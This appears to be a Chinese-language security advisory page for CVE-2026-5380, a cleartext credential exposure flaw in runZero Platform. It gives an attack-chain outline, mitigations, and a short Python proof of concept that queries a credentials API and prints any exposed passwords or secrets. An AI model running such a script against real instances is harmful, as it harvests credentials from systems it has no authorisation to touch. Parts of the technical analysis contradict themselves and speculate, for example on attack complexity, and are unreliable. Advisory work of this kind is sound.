CVE-2026-5380 CVSS 5.3 中危

CVE-2026-5380 runZero平台明文凭证泄露漏洞

披露日期: 2026-04-07

来源: 44488dab-36db-4358-99f9-bc116477f914

漏洞信息

漏洞编号

CVE-2026-5380

漏洞类型

信息泄露

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

runZero Platform

漏洞概述

runZero Platform存在信息泄露漏洞，由于部分凭证类型和字段保护不足（CWE-522），允许授权用户查看明文机密信息。该漏洞CVSS评分为5.3，攻击者可利用此漏洞获取敏感凭证，影响系统机密性。建议用户尽快升级至安全版本。

技术细节

该漏洞属于CWE-522（保护不足的凭证）范畴。在runZero Platform的特定版本中，后端API或前端渲染逻辑存在缺陷，导致在处理某些凭证类型（如数据库密码、API Token等）时，未对敏感字段进行脱敏处理或加密存储后解密失败而直接回显明文。尽管CVSS向量显示PR:N（无需权限）且UI:R（需用户交互），实际场景可能涉及诱导受害者访问特定链接或在特定页面进行操作。攻击者利用网络向量（AV:N）向目标发送恶意请求，由于攻击复杂度低（AC:H在向量中，但通常信息泄露逻辑较简单），一旦成功利用，攻击者即可获得高机密性影响（C:H），直接窃取用于集成其他系统的认证凭据。这不仅导致当前平台数据泄露，还可能危及关联系统的安全，造成连锁反应。因此，该漏洞的核心在于凭证生命周期管理中的安全控制失效。

攻击链分析

STEP 1

1. 侦察

攻击者探测目标网络，识别出存在漏洞的runZero Platform实例。

STEP 2

2. 诱导交互

攻击者构造恶意页面或链接，诱导授权用户点击或交互（满足UI:R条件）。

STEP 3

3. 利用漏洞

通过交互触发漏洞，向目标服务器发送特定请求，绕过保护机制获取凭证数据。

STEP 4

4. 获取信息

服务器返回包含明文凭证的响应，攻击者解析并提取敏感信息（如API密钥、密码）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2026-5380: Cleartext Credential Exposure
# This script simulates checking the response for exposed credentials.

import requests

# Target URL (Example)
target_url = "https://<runzero-instance>/api/v1.0/credentials"

# Send a request to the endpoint (assuming UI:R interaction or direct access)
response = requests.get(target_url)

# Check if the response contains potential cleartext secrets
if response.status_code == 200:
    data = response.json()
    for item in data:
        # Look for fields that might contain cleartext passwords or keys
        # In the vulnerable version, these might be unmasked.
        if 'password' in item and item['password']:
            print(f"[+] Potential cleartext password found for ID {item['id']}")
        if 'secret' in item and item['secret']:
            print(f"[+] Potential cleartext secret found for ID {item['id']}")
else:
    print("[-] Request failed or endpoint not accessible.")

影响范围

runZero Platform < 4.0.260204.2

防御指南

临时缓解措施

在升级修复前，严格限制对runZero管理控制台的网络访问，仅允许可信的内网IP访问。同时，加强对凭证管理页面的访问监控，如发现异常的数据读取行为，应立即冻结相关账户并排查风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表